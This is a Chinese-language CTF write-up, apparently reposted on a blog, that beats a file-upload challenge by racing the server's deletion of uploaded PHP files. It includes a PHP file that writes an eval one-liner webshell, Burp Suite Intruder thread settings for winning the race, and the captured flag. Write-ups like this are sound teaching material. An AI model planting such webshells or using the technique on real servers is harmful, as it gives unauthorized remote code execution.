当前位置: 首页 > news >正文

wzsc_文件上传(条件竞争)

打开题目链接,很常见的文件上传框

经过尝试,发现上传东西后会调用upload.php,猜测文件被传到upload目录下

随便传了几个类型的文件,访问upload目录

发现.php文件以及.htaccess、.user.ini这种配置文件都没有传上去

但是通过抓包我们可以发现,其实php文件以及配置文件都是上传成功了的(响应200)

说明文件上传成功,但是服务器在短时间内就立刻将其删掉了

这种情况只能采取条件竞争

条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。

这里我们先写一个用于上传的php文件(我这里命名为m.php),内容如下:

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

我们可以使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件(m.php),一旦我们成功访问到了上传的文件(m.php),那么它就会向服务器写一个shell(shell.php)。

换句话说,我们最终利用的并不是我们上传的文件,上传只是为了能有一刻成功访问,一旦访问成功,便会写入一句话木马,我们最终利用的就是新写入的php文件。

上传m.php,利用burpsuite抓包(这个是上传包)

设置上传包的线程数(这里设置为30)

设置攻击载荷,选择没有负载,并且勾上无限期地重复

这里注意一个小细节:

如果没有清除有效负载的位置

开始攻击后的请求包中filename为空

清除之后,再开始攻击

filename=m.php(即我们上传的文件)

接下来我们抓访问包:

我们直接尝试访问shell.php,使用burpsuite进行抓包

同理设置线程数(这里设置为80)

注意:访问包的线程数一定要大于上传包的线程数

设置攻击载荷,选择没有负载,并且勾上无限期地重复

设置好之后开始攻击

最开始可能访问包都是404或者500

但是过一会儿你再次筛选状态码,你就会看到200的响应

这说明条件竞争成功,已经成功向服务器写入了shell.php

我们访问upload目录查看,确实已经存在shell.php

接下来使用蚁剑连接即可

在html目录下找到flag.php

cyberpeace{b2ccdb64cfd4c8f30450d306dab8da1c}

http://www.lryc.cn/news/182255.html

相关文章:

  • unplugin-vue-components和unplugin-auto-import插件
  • docker系列文章目录
  • 第80步 时间序列建模实战:GRNN回归建模
  • 《C和指针》笔记33:指针数组
  • C/C++字符函数和字符串函数详解————内存函数详解与模拟
  • CAcUiDockControlBar初始位置 2023/8/19 下午3:51:18
  • CDH6.3.2 的pyspark读取excel表格数据写入hive中的问题汇总
  • 2120 -- 预警系统题解
  • C++入门-day01
  • Android开源 Skeleton 骨架屏 V1.3.0
  • 网络资料搬运(2)
  • SEO搜索引擎
  • 动态规划-状态机(188. 买卖股票的最佳时机 IV)
  • 银行业务队列简单模拟(队列应用)
  • 2023/8/8 下午10:42:04 objectarx
  • Day-06 基于 Docker安装 Nginx 镜像
  • linux入门---信号的保存和捕捉
  • 5.外部中断
  • Mydb数据库问题
  • 部署并应用ByteTrack实现目标跟踪
  • MacOS怎么配置JDK环境变量
  • Spring Boot 开发16个实用的技巧
  • 《机器学习实战》学习记录-ch2
  • lv7 嵌入式开发-网络编程开发 07 TCP服务器实现
  • mysql技术文档--阿里巴巴java准则《Mysql数据库建表规约》--结合阿丹理解尝试解读--国庆开卷
  • Qt+openCV学习笔记(十六)Qt6.6.0rc+openCV4.8.1+emsdk3.1.37编译静态库
  • JUC第十四讲:JUC锁: ReentrantReadWriteLock详解
  • 在vue3中使用vite-svg-loader插件
  • 国庆10.4
  • 2023/8/12 下午8:41:46 树状控件guilite